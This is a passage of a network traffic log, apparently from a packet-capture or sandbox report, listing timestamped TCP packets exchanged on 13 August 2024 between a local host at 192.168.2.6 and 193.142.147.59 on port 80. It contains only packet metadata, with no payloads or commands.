Aug 13, 2024 10:21:12.467045069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467053890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467087984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467339039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467371941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467392921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467406988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467411995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467452049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467757940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467792034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467813969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467823982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467833042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467859030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467866898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467891932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467901945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467926979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.467936993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.467971087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468355894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468388081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468400955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468421936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468442917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468457937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468462944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468496084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468527079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468559980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468580008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468611956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.468919039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468951941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.468970060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469042063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469059944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469073057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469084024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469105959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469113111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469140053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469151020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469177008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469180107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469223022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469575882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469624996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469649076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469682932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469695091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469715118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469732046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469748974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469764948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469782114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469791889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469815016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469825029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469847918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469861031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469883919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.469887972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.469924927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470642090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470674992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470695019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470707893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470721006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470741987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470748901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470776081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470782995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470809937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470818043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470843077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470853090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470876932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470885992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470910072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.470920086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.470953941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471730947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471764088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471787930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471796989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471808910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471832037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471842051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471865892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471873999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471910954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471940041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.471960068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.471996069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527381897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527421951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527452946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527455091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527472019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527494907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527702093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527734995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527750969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527767897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527777910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527803898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.527820110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.527967930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534125090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534187078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534315109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534348965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534368038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534393072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534472942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534507036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534516096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534549952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534776926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534830093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.534847975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.534893036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540400028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540457010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540535927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540570021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540589094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540608883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540772915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540817976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540885925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540920019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540937901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540954113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540961981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.540983915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.540997028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541105986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541321993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541353941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541373968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541385889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541400909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541421890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541445017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541455030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541474104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541488886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.541496038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.541532040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.542089939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.542124033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.542136908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.542169094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.547668934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.547713995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.547764063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.547779083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.547806978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.547817945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548043966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548058987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548072100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548086882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548094034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548132896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548535109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548557043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548573017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548578978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548588991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.548592091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548605919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.548624992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549110889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549125910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549139977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549158096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549169064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549489021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549504042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549518108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549532890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549537897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549549103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549563885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549570084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549586058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.549587011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549608946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.549629927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.552418947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552434921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552448988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552463055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552469969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.552478075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552501917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.552508116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552514076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.552524090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.552541971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.552570105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554070950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554130077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554363012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554409981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554521084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554536104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554564953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554594994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554668903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554685116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554723024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554734945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554805040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554853916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.554949999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.554965019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555005074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555016041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555118084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555133104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555170059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555274963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555290937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555322886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555341959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555588961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555639029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555752039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555767059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555780888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555795908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555799961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555813074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555821896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555828094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555846930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555860043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.555881977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.555922031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556740046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556755066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556770086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556785107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556787014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556794882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556797981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556811094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556813955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556833029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556834936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556843042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556848049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556863070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556864977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556885958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.556888103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556907892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.556936979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557398081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557446003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557502985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557552099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557665110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557678938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557693958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557708025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557710886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557720900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557723045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557739019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557749987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557754993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.557780027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.557790995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558434010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558449030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558484077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558497906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558579922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558593988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558609009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558623075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558624983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558639050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558640003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558656931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.558670044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.558700085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559354067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559369087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559381962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559405088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559427977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559503078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559518099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559530973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559545994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.559564114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559565067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559565067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.559581041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614272118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614330053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614348888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614363909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614388943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614399910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614661932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614677906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614694118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.614721060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614813089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.614978075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.615025043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621201992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621248960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621309042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621325016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621360064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621368885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621601105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621617079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621644974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621666908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621773005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621788979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.621819973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.621830940 CEST	49711	80	192.168.2.6	193.142.147.59
